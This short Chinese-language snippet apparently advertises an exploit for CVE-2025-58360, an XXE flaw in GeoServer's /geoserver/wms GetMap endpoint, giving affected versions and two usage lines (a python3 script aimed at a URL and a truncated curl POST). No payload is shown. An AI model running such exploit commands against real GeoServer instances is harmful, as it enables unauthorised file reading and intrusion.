CVE-2025-58360

CVE-2025-58360 在版本 2.26.0 至 2.26.2 之前以及 2.25.6 之前，发现了一个 XML 外部实体（XXE）漏洞。应用程序通过特定端点 /geoserver/wms 的 GetMap 操作接受 XML 输入。 利用1: root@kitploit: python3 CVE-2025-58360 -u http://example.com 利用2: root@kitploit: curl -X POST...